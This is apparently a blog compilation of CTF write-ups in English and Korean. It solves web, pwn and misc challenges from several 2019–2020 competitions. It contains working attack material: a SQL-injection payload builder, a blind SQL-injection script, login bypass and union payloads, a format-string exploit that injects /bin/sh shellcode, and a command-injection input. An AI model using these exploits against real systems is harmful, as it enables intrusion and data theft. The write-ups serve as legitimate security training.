English write-up

 

UI seems like below.

If you click the 'the source' link, you can get back-end source code.

 

 

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

Code is written in javascript, so the server platform is nodejs.

There is simple sql execution function, it filters some special chars.

 

It filters single-quotor, double-quotor, dash and point. 

If one of bad-char appears, the all remainders will be substituted to '*' char.

 

I thought hard how can I bypass the filter, a solution is javascript type confusion.

 

 

The server source code assumes that 'req.query.q' data type is string, if you send url querystring like "q[]=value&q[]=another", on the server side the value is ["value", "another"] which is javascript array type.

 

Then q[i] is no longer single character but string, so we can bypass the filtering.

The expression ("'or 1=1-- " == "'") is evaluated as false.

 

Moreover, javascript array object also have method "slice" like string. The function slightly differ.

 

If you try to + operation between javascript array and string, the result is string. The array is treated like string.

Then after the expression `slice(0,i) + "*" + slice(i+1, q.length)`, q is now string, we can do the q.substring method below without exception.

 

I coded query string exploit payload builder in javascript.

 

function go(payload) {
	var ret = '?q[]=' + encodeURIComponent(payload);
	for (var i =1; i < payload.length; i++) {
		ret += `&q[]`;
	}
	ret += `&q[]='`
	return ret;
}

For the test, I wrote a query to get the current database name in pg-sql.

 

It works well!

 

I tried to get the column name with information_schema table, but q.substring(0, 80) limit our query length to 80, I did another method.

 

With some functions in pg-sql, we can get the data in 'Criminals' table in json serialized format.

 

 

Gotcha!, We've got the flag

 

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

 

 

한글 풀이

UI는 아래와 같이 생겼다.

우측에 the source라는 것을 클릭하면 백엔드 소스도 제공을 해준다.

 

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

코드를 보니 nodejs로 백엔드를 작성했다.

간단하게 sql 쿼리를 실행시킬 수 있도록 되어있고, 일부 특수문자들을 필터링하는 것을 알 수 있다.

 

일단 싱글쿼터를 필터링을 해서, 해당 bad character가 나타나면 나머지 모든 글자들을 *로 바꿔버리는 방식이다.

 

이 sql 쿼리 필터링을 어떻게 우회할까 고민을 많이 했는데, 정답은 javascript type confusion이었다.

 

서버코드는 req.query.q가 string일 것을 가정하고 코드가 짜져있는데, url 쿼리스트링에 q[]=value&q[]=another 와 같은 방식으로 전송하면 서버에는 ["value", "another"]과 같은 javascript array형태로 전송이 되게 된다.

 

그러면 some(v => v == q[i])라는 필터링에서도 ["'or 1=1-- ", "garbage"] 이런 값이 전송이 되는 경우 filtering이 제대로 되지 않게 된다. "'or 1=1-- " == "'" 는 당연 false가 나오기 때문.

 

게다가 Javascript array는 slice라는 함수를 동일하게 가지고 있다.

그리고 문자열과 배열간 + 연산을 하게 되면, 배열을 문자열처럼 바뀌어서 concat연산이 되고 그 결과는 문자열이 되어서 아래의 q.substring 함수도 정상적으로 실행을 하게 된다.

 

이러한 조건에 맞는 query string payload를 만들어주는 js 코드를 작성해서 요청을 보내보았다.

function go(payload) {
	var ret = '?q[]=' + encodeURIComponent(payload);
	for (var i =1; i < payload.length; i++) {
		ret += `&q[]`;
	}
	ret += `&q[]='`
	return ret;
}

 일단 테스트 겸 database name을 알아내는 쿼리를 작성해보았다.

결과가 잘 나온다.

 

information_schema로 column 명을 알아내려고 했는데, q.substring(0, 80)의 쿼리 길이 제한때문에 잘 안되서 다른 방법을 사용해보기로 했다.

 

이제 Criminals 테이블의 값을 json형태로 serialize해서 다 빼오는 쿼리를 작성해서 날려보자.

 

flag를 얻었다.

 

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

후기

https://trustctf.com/

 

2020년 2월 22일 오전 10시 부터 오후 10시까지 진행된 Trust CTF이다.

Trust는 디지털 미디어 고등학교 보안동아리인 것 같고, 거기서 주최한 CTF이다.

특이하게도 static scoring으로 문제 별 스코어가 고정되어 있다.

결과는 마이크체크 문제 제외하고 2문제를 풀었고, 마지막 grade program 문제는 CTF 종료된 이후 풀었다.

푼 문제들에 대한 간단한 풀이들 한번 올려본다.

 

127% Machine

 

MISC문제이다.

 

C코드를 제공한다.

 

서버 코드

서버 코드를 보려면 아래 접은 글을 열면 된다.

더보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <math.h>

#define banner_w 56
#define banner_h 10

#define information_w 54
#define information_h 16

char banner[banner_h][banner_w] = {
	{"+=====================================================+"},
	{"|        _     ______     ________                    |"},
	{"|       / /   / ___  \\   / ___   /      _     /       |"},
	{"|      / /   /_/   / /  /_/   / /      (_)   /        |"},
	{"|     / /    _____/ /        / /            /         |"},
	{"|    / /    / _____/        / /            /    _     |"},
	{"|   / /    / /_____        / /            /    (_)    |"},
	{"|  /_/    /_______/       /_/            /            |"},
	{"|                                                     |"},
	{"+=====================================================+"}
};

char information[information_h][information_w] = {
	{"*****************************************************"},
	{"*          - information of this machine -          *"},
	{"*                                                   *"},
	{"*                                                   *"},
	{"*              1. Its maximum is 100%               *"},
	{"*                                                   *"},
	{"*     2. The role of this machine is encoding       *"},
	{"*                                                   *"},
	{"*       3. You should decode its secret code        *"},
	{"*                                                   *"},
	{"*          4. DO NOT USE ABNORMAL APPROACH          *"},
	{"*                                                   *"},
	{"*    last. \"GOOD THINGS COME TO THOSE WHO WAIT\"     *"},
	{"*                                                   *"},
	{"*                 GOOD LUCK! /(>//<)\\               *"},
	{"*****************************************************"}
};



char flag[] = "TRUST{SAMPLE_FLAG}";

unsigned long int pow_x(unsigned long int a, int b);


void print_banner() {
	char load[] = "loading......!";
	for (int i = 0; i < banner_h; i++) {
		for (int j = 0; j < banner_w; j++) 
			printf("%c", banner[i][j]);
		usleep(30000);
		printf("\n");
	}
	printf ("\n");
	usleep(500000);
	for (int i = 0; i < strlen(load); i++) {
		printf("%c", load[i]);
		usleep(40000);
	}
	usleep(100000);
	printf("\n");
	printf("It's ready to operate!\n\n");
	usleep(200000);

	for (int i = 0; i < information_h; i++) {
		for (int  j = 0; j < information_w; j++) {
			printf("%c", information[i][j]);
		}
		usleep(50000);
		printf("\n");
	}
	printf("\n\n");
}

void machine_start() {
	usleep(200000);
	printf("Let's start!\n");
	usleep(50000);
}

void loop() {
	
	unsigned long int sub = 0;

	char auth[127] = {0};
	char response[128] = {0};
	
	int key;
	int comp;

	srand(time(NULL));

	for (int stage = 1; stage <= 127; stage++) {
		
		if (stage == 100) {
			puts("!!machine operate 100%!!");
			puts("┐ ի ޟ d\x3d\x4e\xfe ");
			puts("abnormal approach");
			puts("Please give me pass code");
			key = rand() % 1000000;
			scanf("%d", &comp);
			if (comp == key) {
				puts("Enter Administrator Mode");
			}
		}

		printf("\n%d%% operate\n", stage);
		for (int i = 0; i < stage; i++)
			auth[i] = rand() % 94 + 33;
		for (int i = 0; i < stage; i++) {
			sub = pow_x(127, (rand()%3 + 3)) + (int)auth[i];
			printf("%ld\n", sub);
		}
		read(0, response, 128);
		if (strlen(response) != stage) {
			printf("\nErrorcode 1 : mechanical overload");
			exit(0);
		}
		else if (0 !=  strncmp(auth, response, stage)) {
			printf("\nWrong answer");
			exit(0);
		}
		else continue;		
	}
}


unsigned long int pow_x(unsigned long int a, int b) {
	int x= a;
	a = 1;
	for (int i = 0; i < b; i++)
		a *= x;
	return a;
}


int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	char str[128] = {0};
	print_banner();
	machine_start();
	loop();
	printf("PPIBIP! machine operate 127%%!\n");
	printf("%s", flag);

	return 0;
}

 

 

대충 보면, random으로 생성한 값들을 맞추면 되는데, 그냥 랜덤한 값뿐만이아닌 127^3, 127^4, 127^5 를 더해서 알려준다.

근데 랜덤으로 생성한 값이 33 ~ 126 범위의 수에 해당하므로 값의 크기로 어느 값을 더했는지 유추할 수 있다.

이를 이용해서 값을 뺀 것들을 리턴해주면 정답 플래그를 얻을 수 있다.

 

 

Exploit

#!/usr/bin/env python

from pwn import *

p = remote('198.13.32.181', 4337)

def do_oper(stage):
	global p
	var = []
	p.recvuntil("operate\n")
	for i in range(stage):
		value = int(p.recvuntil("\n"))
		for i in range(5, 2, -1):
			if value > 127**i:
				value = value - 127**i
				break
		var.append(value)
	#print var
	res = "".join(map(chr, var))
	#print res
	p.send(res)

for i in range(1, 100):
	print i
	do_oper(i)
p.recvuntil("pass code\n")
p.sendline("1")
for i in range(100, 128):
	print i
	do_oper(i)
p.interactive()

Flag

TRUST{H4H4_sO00000_3a5y!_D1D_you_thought_hardly??}

 

ezrc

웹문제이다.

 

들어가면 간단한 회원가입과 로그인 기능이 있는데, 로그인을 하면 php 소스코드를 보여준다.

 

서버소스

서버 소스를 보려면 접은 글을 펴면 된다.

더보기
<?php session_start(); include 'config.php'; ?>
<?php
    if(!isset($_SESSION['id'])){
        header('Location: ./login.html');
        exit;
    }
?>
<a href="source.php"><button>source code</button><br/></a>

<?php 
$id = $_SESSION['id'];
    $res = mysqli_query($con, "select pw from ezrc where id='$id'");
    $idx = mysqli_fetch_array($res);
    $pw = $idx['pw'];

    $print_query = "select chk from ezrc where id='$id'";
    $hehe_query = "update ezrc set chk='$hehe' where id='$id'";
    $reset_query = "update ezrc set chk='nope' where id='$id'";

    echo "<a href=logout.php>logout</a><br/>";
    echo "your id is ".$id."<br/>";
    if(preg_match("/(tata|dada|zaza)+[a-z]{3}+coco?hehe/", $_GET['key']) && strlen($_GET['key'])>30){
        $res = mysqli_query($con, $print_query);
        $idx = mysqli_fetch_array($res);
        echo "your chk is ".$idx['chk']."<br/>";        
        if($idx['chk'] == $hehe){
            echo $flag."<br/>";
            mysqli_query($con, $reset_query);
            exit("congratulations");
        }
    }
    mysqli_query($con, $hehe_query);
    $str = "trust_is_very_cooool";
    $t = (int)$_GET['times'];
    if($pw == md5(240610708)){
        echo "pw right";
        for($i=0; $i<$t; $i=$i+1){
            for($j=0; $j<$t; $j=$j+1){
                $str = md5($str);
            }
        }
        if($str == "d91a2796ab967c9793ef1c628a91fac5"){
            echo $flag;
        }
        else{
            mysqli_query($con, $reset_query);
        }
    }
    else{
        mysqli_query($con, $reset_query);
    }
?>

 

대충 보면 햇갈릴 수도 있는데 일단 flag를 얻을 수 있는 방법은 2가지가 있다.

db에 chk값이 $hehe와 동일 하거나, "trust_is_very_coool"를 여러번 md5해서 나온 값이 d91뭐시기 하는 값과 일치하면 된다.

 

근데 trust_is_very_cool을 매우 많이 md5를 구해보았는데, 같은 값은 나오진 않았다.

 

약간 특이한 부분이 exit("congratulation"); 이후에 sql query를 실행하는데, 이때 유저 db의 chk값이 $hehe와 같아진다.

 

그리고 아래에서 md5를 여러번 하는 행위 이후에는 다시 chk값이 'nope'로 바뀌게 된다.

이 찰나의 순간을 노리는 Race condition 공격을 할 수 있다면?

 

게다가 md5를 여러번 취할때는 몇 번을 취할 것인지는 user input인 $_GET['times']에 의해 결정되므로, int_max값을 넣어서 그 제곱에 해당하는 md5를 연산하게 하여 시간차를 만들 수 있다.

 

if($pw == md5(240610708)){

 

이 코드를 pass해야 하는 부분은 우항을 md5를 시켜보면 0e123123와 대략 같은 꼴의 문자열이 나오는데, 이는 php의 loose comparision에 의한 type juggling 취약점으로 연결된다. 패스워드를 0000으로 지정하면 if문이 true로 되므로 쉽게 bypass가능하다.

 

그래서 한 녀석으로는 대충
http://198.13.32.181:4345/index.php?key=tatatatatatadadadadadadadadatatadadazazaabccocohehe

와 같은 요청을 보내서 regex를 맞추게 하고, 나머지녀석으로는 

http://198.13.32.181:4345/index.php?times=2147483600

와 같은 요청을 보내서 chk를 $hehe와 같게 만든 뒤 시간을 끌게 하면된다.

 

근데 같은 쿠키 값으로 하면 race condition으로 되지 않으므로 다른 php sess id를 갖는 브라우저 2개를 띄워서 시간차로 하면 flag 값을 구할 수 있다.

Flag

TRUST{Hell0_th1s_my_f1r5t_cha1lenge!!!!}

grade program

포나블 문제이다.

 

바이너리를 IDA로 디컴파일 해보면 32bit ELF인 것을 알 수 있고 몇가지의 기능이 있다.

그리고 checksec을 해보면 RWX segment가 존재하고, NX 및 PIE가 꺼져있다.

그래서 ASLR만 있다고 보면 된다.

 

1번 명령어를 쓰면, 랜덤한 간단한 사칙연산 문제를 풀게 된다. 그 문제를 푸는 수 만큼 점수가 기록이 되고, 이 점수는 exam() 함수에서 리턴이 된다.

이 결과 값은 main문에 지역변수에 있는 char buffer[] 에 하나씩 기입이 된다.

trials변수는 99이하까지 되므로, 총 99byte를 buffer에다가 쓸 수 있는 셈이 된다.

 

그리고 3을 누르면 버퍼를 다 비울 수 있고, 2를 누르면 그 format이라고 되있는 버퍼를 printf하는데 여기서 Format string bug가 발생된다는 것을 알 수 있다.

 

익스플로잇 테크닉은 다양하게 가져갈 수 있는데, RWX segment가 존재하고, NX 및 PIE가 꺼져있으므로 간단하게 shell code를 올려서 실행하는 식으로 가져가보았다. 그리고 stack canary는 존재했다.

 

shell code로 pc를 변경하는 방식은 어떻게 할 까 햇는데, how함수, exam함수 등을 호출할 때 함수의 주소값을 스택에 저장한 뒤 그 값을 호출하는 방식으로 how 함수를 호출한다는 점을 이용해서 스택에 있는 how함수의 주소값을 shellcode 시작 주소로 fsb를 통해 write하는 식으로 pc를 변경하도록 했다.

이후 0번 매뉴를 키면 shellcode로 점프할 수 있다.

 

근데 format 버퍼의 값을 쓸 때, 만약 첫번째 값, buffer[0]에 ascii 76에 해당하는 값을 쓰려면 사칙연산 문제를 76개를 풀어야 한다. 그래서 로컬에서는 금방 되지만, 서버에 payload를 구성할때는 생각보다 시간이 많이 걸리게 된다. 

 

그래서 shellcode를 처음에는 bss에 write하려다가, 너무 오래걸려서 format 버퍼 자체에 shellcode를 올려서 실행시키는 방법을 이용했다.

 

 

Exploit 코드

#!/usr/bin/env python

from pwn import *

# p = process('./grade')
p = remote('198.13.32.181', 9316)

bss_addr = 0x804b040
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
def clear_res():
	global p
	p.recvuntil(">>>")
	p.sendline("3")
	p.recvuntil("cleared")

def solve_prob(correct= True):
	global p
	prob = p.recvuntil("=")[:-1]

	res = 0
	if "+" in prob:
		operand = map(int, prob.split("+"))
		res = reduce(lambda x,y: x+y, operand)
	elif "-" in prob:
		operand = map(int, prob.split("-"))
		res = reduce(lambda x,y: x-y, operand)
	elif "*" in prob:
		operand = map(int, prob.split("*"))
		res = reduce(lambda x,y: x*y, operand)
	elif "%" in prob:
		operand = map(int, prob.split("%"))
		res = reduce(lambda x,y: x%y, operand)
	else:
		print ("ERROR!!!")
	if correct == False:
		p.sendline(str(res+100))
	else:
		p.sendline(str(res))


def write_char(chcode):
	global p
	p.recvuntil(">>>")
	p.sendline("1")
	p.recvuntil("probs")
	for i in range(0, chcode):
		# log.info("solving prob ...[{}/{}]".format(i, chcode))
		solve_prob()
	solve_prob(False)

def insert_mystring(payload):
	clear_res()
	for i, c in enumerate(payload):
		log.info("insert payload [{}/{}]".format(i, len(payload)))
		write_char(ord(c))

def print_format_string():
	global p
	p.recvuntil(">>>")
	p.sendline("2")


# leak
insert_mystring("%6$p")
print_format_string()
p.recvuntil("scores")
fs_addr = int(p.recvuntil("=")[:-1], 16)
how_func_addr = fs_addr - 16 # how function address


print "fs_addr = {}".format(hex(fs_addr))
print "how_func_addr = {}".format(hex(how_func_addr))

def write_byte(addr, value):
	if value == 4:
		insert_mystring(p32(addr) + "%7$hhn")
	elif value > 4:
		insert_mystring(p32(addr) + "%" + str(value - 4) +"c%7$hhn")
	print_format_string()


# raw_input("pause~")

for i in range(0, 4):
	log.info("overwriting pc pointer [{}/4]...".format(i+1))
	byte = p32(fs_addr)[i]
	write_byte(how_func_addr+i, ord(byte))

# raw_input("pause 2")
log.info("Injecting shell code...")
insert_mystring(shellcode)
# raw_input("pause 3")

log.info("Jump to the shell code")
p.recvuntil(">>>")
p.sendline("0")
p.interactive()
# b* 0x8048c0b

Flag

TRUST{F0rM4t_str1n9_h4v3n!!}

SQL Breaker 1

I am posting write-up after ctf server has been shuted down.

So, I will explain the write-up not in detail but focus core ideas.

We can find the login form like above.

The challenge name is 'SQL Breaker 1', so we can easily guess this challenge is a kind of sql injection problem.

 

When we insert the WORLD WIDE PAYLOAD 'or 1=1#, we easily can get the flag.

 

 

Flag is flag{Sql1nj3ct10n}

 

 

SQL Breaker 2

Second challange have very similar web UI.

Almost equal login form. But when we insert the payload 'or 1=1--  at username field, it is logged in as john 

We should logged in as admin user.

When I tried insert the payload 'or 1=1-- in password field, it doesn't work. Just incorrect username/password error message was seen to me.

 

So I guessed the sql query on server side is like below

SELECT * FROM USER WHERE name='{$name}' and pw=hash('{$password}')

 

I thought it is better to insert payload on username field rather than password field.

 

Several more trials, I guessed that there is no admin account row in server database.

So I tried Union based sql injection.

 

I insert the paylods on username below.

dddd'union select 'admin'-- 

dddd'union select 'admin', 'admin'-- 

dddd'union select 'admin','admin', 'admin'--

 

Those derives login fail. I guessed the number of column returned is not 1 or 2 like that.

 

When I insert 5 column with union sqli paylod, it successed.

dddd'union select '1','2','3','4','5'-- 

 

But it still log-ined as john.

 

With more consideration, to get more information about the server database data, I tried blind sql injection to get some more data.

 

I extracted password field and id field with payload like

john' and length(password) > 5-- 

john' and ord(substr(name,2,1)) > 5-- 

that.

 

#!/usr/bin/env python

import urllib
import urllib2
import sys

URL = "https://challenges.neverlanctf.com:1165/login.php"
UA =  "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
Cookie = "PHPSESSID=bhon2smt11sccq4nehiglstqaj"

def logout():
    uurl = URL + "?logout"
    req = urllib2.Request(uurl, {}, {
        'User-Agent': UA,
        'Cookie': Cookie
    })
    res = urllib2.urlopen(req)
    

def query(Q):
    logout()
    UURL = URL + "?password=1&username=" + urllib.quote(Q)
    req = urllib2.Request(UURL, {}, {
        'User-Agent': UA,
        'Cookie': Cookie
    })

    res = urllib2.urlopen(req)
    text = res.read()
    if "location.href" in text:
        print "Session expired..."
        sys.exit()
    # print text
    return "<h2>Welcome" in text

def find_length():
    left = 0
    right = 200 # (left, right]
    while left < right:
        mid = (left+right)//2
        print "Finding... {} {} {}".format(left, mid, right)
        if query("john' and length(name) > {}-- ".format(mid)):
            left = mid+1
        else:
            right = mid
    return right

def find_ch(pos):
    print "Finding pos {} th character".format(pos)
    left = 0
    right = (1<<8)
    while left < right:
        mid = (left+right)//2
        print "Finding... {} {} {}".format(left, mid, right)
        if query("john' and ord(substr(name,{},1)) > {}-- ".format(pos, mid)):
            left = mid+1
        else:
            right = mid
    print "COOL!! {} = {}".format(pos, right)
    return right

LENGTH = find_length()
print "LENGTH = {}".format(LENGTH)
PASSWORD = ""
for i in range(1, LENGTH+1):
    PASSWORD += chr(find_ch(i))
    print PASSWORD

print PASSWORD

query(PASSWORD)

Interesting result occured.

 

password = "0a4b0ae54adbdc2825e1b05e16c7164cfdfce29e8f6fd104c7e539fc39e5c619"

id = "1"

 

password length was 64, so I thought it is 256bit hash digest.

When I get them in commonplace sha256 online decrypt database, result was "T3stUs3r"

 

When I tried to login with John/T3stUs3r, it succeed.

 

I thought id value in the database is "John" but it was number 1.

 

I tried union based sql injection to get other id number

dddd'union select '2','2','3','4','5'-- 

 

This payload give me the admin account login session.

 

The first return column must be the id value in database, id=1 is user john, id=2 is user admin.

 

 

 

Flag is flag{esc4p3y0ur1nputs}

 

DasPrime

So simple programming challenge.

Simply correct the python code to get correct prime numbers.

import math
def main():
    primes = []
    count = 2
    index = 0
    while True:
        isprime = True
        for x in range(2, int(math.sqrt(count) + 1)):
            if count % x == 0: 
                isprime = False
                continue
        if isprime:
            primes.append(count)
            print(index, primes[index])
            index += 1
            if index == 10497:
                break
        count += 1
if __name__ == "__main__":
    main()

Code above print the (index, prime) from 0th index to 10496th index.

We count from 0, 10496 indexed number prime is actually 10497th prime.

 

The prime number detection algorithm is naive.

If a number //(A//) is not divisible with //(B//) between //(2//) and //(\sqrt A//), the number //(A//) is prime.

 

When you run the python code above, the result is like that

The answer is 110573.

 

English write-up

http://lowdeep.insomnihack.ch/

 

Insomni'hack 2020 Teaser

LowDeep Plateform That's our new plateform to perform ping the easy way.

lowdeep.insomnihack.ch

Reading the text, this is a kind of ping service.

 

Let's input the 127.0.0.1

Output of input "127.0.0.1" is command line stdout of linux ping command.

 

We can easily guess this it the bash shell command injection challenge.

 

I did some trials about well-known command injection symbols like ; | & $

 

Only ; character is not filtered by the server.

 

Let's input the 127.0.0.1;ls

 

 

Any other command like cat, /bin, bash is not applicable for that server. I tried "ls -alR" also.

I searched for some files like 'robot.txt', and there are some texts but it was not something important.

 

When I tried to connect the server with path /print-flag, I can get 64bit ELF binary file.

Just executing the binary, we can find somthing.

$ file print-flag
print-flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72c589834f878a6a3267944f305c29166a1ace8b, stripped
$ ./print-flag
INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

We've got the flag.

한글 풀이

http://lowdeep.insomnihack.ch/

 

Insomni'hack 2020 Teaser

LowDeep Plateform That's our new plateform to perform ping the easy way.

lowdeep.insomnihack.ch

글을 읽어보니, ping 서비스를 해주는 페이지라고 한다.

 

127.0.0.1를 한번 넣어보자.

결과는 리눅스 커맨드라인에서 ping 127.0.0.1한 결과가 나온다.

 

간단하게 커맨드 인젝션 문제임을 추측할 수 있다.

 

몇가지 커맨드 인젝션 관련된 심볼들을 넣어봤는데, (; | & $ 같은녀석들)

 

; 문자만 통하는 것 처럼 보였다. 나머지는 다 Forbidden이 뜬다.

 

127.0.0.1;ls를 입력해보자.

 

다른 cat이나 /bin/bash 같은 문자들도 다 필터링 되거나 permission denied가 뜨거나 했다. 그래서 ls -alR로 디렉토리 계층구조를 확인해보았다.

 

몇가지 특이해보이는 파일들이 있는데, robots.txt라던지 등이 있다. 하지만 실제로 들여다 보면 뭔가가 있기는 한데 플래그를 얻는데 필요하거나 중요한 내용들은 아니었다.

 

URL경로에 /print-flag 로 접근하니 64비트 ELF 바이너리 파일을 얻을 수 있었다.

 

실행을 시켜보니 플래그가 나왔다.

$ file print-flag
print-flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72c589834f878a6a3267944f305c29166a1ace8b, stripped
$ ./print-flag
INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

 

X-mas CTF 2019 Emulator - Emu 2.0 Problem write -up

http://xmas.htsp.ro/

 

 

English Write-up

 

This problem is categorized as "Emulator". Following the link provided, there are a rom file and Emu2.0 spec document pdf file.

 

https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing

 

Emu 2.0 - Google 드라이브

 

drive.google.com

Maybe rom file is binary file which can be executed the machine Emu 2.0, pdf file contains the information about the Emu 2.0 Machine.

 

This problem is actually programming challenge.

 

There is no special solution, just implementing the Emu2.0 with the pdf file specification and insert the rom data to the emulator.

 

I tried to implement Emu 2.0 machine, but I did some trial and error with some cases.

1. Instruction size of 2byte, thus hex code "2X XX" denotes, upper 4bit is opcode, the other 12bit is operand. But I misunderstood as 8bit opcode and 8bit operand. T.T

 

 

2. Endianness.

My machine is little endian. But the document assumes reader will know that it is big-endian.

I/O instruction which is mandatory to print the flag, is denoted as 13 37 itself when I check the rom binary with "xxd" command, that's why I can certain this rom is aligned as big-endian.

Then, I should program the Emu 2.0 fit to the big-endian

 

 

3. Instruction memory and data memory is combined.

I implemented both as separated ones, but something goes wrong when I executed the semi-final version Emu2.0, I re-inspect the document. 

In the memory part, it inform us that memory is unique, which can be used as instruction memory and also as data memory.

 

"including storing the instructions it needs to execute and the data it needs to process."

There is no segmentation!

 

4. Undefined Instruction

There is a sentence about the undefined instruction handling.

 

 

Conclusion => You should read document carefully. There is all you need!

 

Emulator source code is attached below.

 

한글 풀이

 

Emulator 카테고리에 있는 문제이다. 링크가 제공된 구글 드라이브로 이동해 보니, rom이라는 파일과 docs pdf 파일이 있다.

 

https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing

 

Emu 2.0 - Google 드라이브

 

drive.google.com

 

rom 파일은 아마 에뮬레이터 스펙대로 동작하는 바이너리 파일일 것이고, pdf파일에는 에뮬레이터 작성에 필요한 정보들이 들어있을 것이다.

 

사실상 코딩문제에 가깝다고 볼 수 있다.

 

문제 풀이법은 특별한 내용은 없고, 단지 pdf에 있는 스펙대로 에뮬레이터를 작성해서 rom을 넣어버리면 된다.

 

 

직접 구현하면서 문서를 제대로 안읽어서, 혹은 이해를 제대로 안해서 몇번의 삽질을 했는데 대충 다음과 같은 부분에서 삽질을 좀 했다.

1. instruction이 2바이트인데, Hex Code가 2X XX 와같은 방식인 경우, 최상단 4bit가 Instruction opcode을 나타내고, 나머지 12bit가 operand를 나타낸다. 근데, 8bit / 8bit이 opcode / operand인줄 알고 다시 짯다.

 

2. endianness 때문에 햇갈렸었다. 근데 xxd 커맨드로 롬을 확인해보니, I/O때문에 필수적인 instruction인 13 37라는 Hex Code가 그대로 나오는 것으로 보이서, Hex code가 xxd 커맨드로 보이는 것 기준이라는 것을 알게 되었다. 따라서 little endian인 내 머신에서는 위치를 맞추어 주어야 했다.

3. Instruction Memory와 Data Memory가 따로 분리되어 있지 않았다. 맨처음에 분리해서 구현했다가, 합쳐줘야지 한다는 것을 2.2 Memory 파트를 보고 알았다.

including storing the instructions it needs to execute and the data it needs to process.

같은 메모리에 적재되어야 했다.

 

4. Undefined instruction을 어떻게 처리하느냐에 대한 내용을 구현안해서 거의 다 짜놓고도 삽질을 좀 했다.

 

 

결론은 문서를 잘 읽자! 라는 결론이 나왔다.

 

 

Flag: X-MAS{S4nt4_U5e5_An_Emu_2.0_M4ch1n3}

English write-up

 

You can find the menu below when connect to the problem server with nc.

 

If you choose menu No.3, the server reply the source code.

 

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
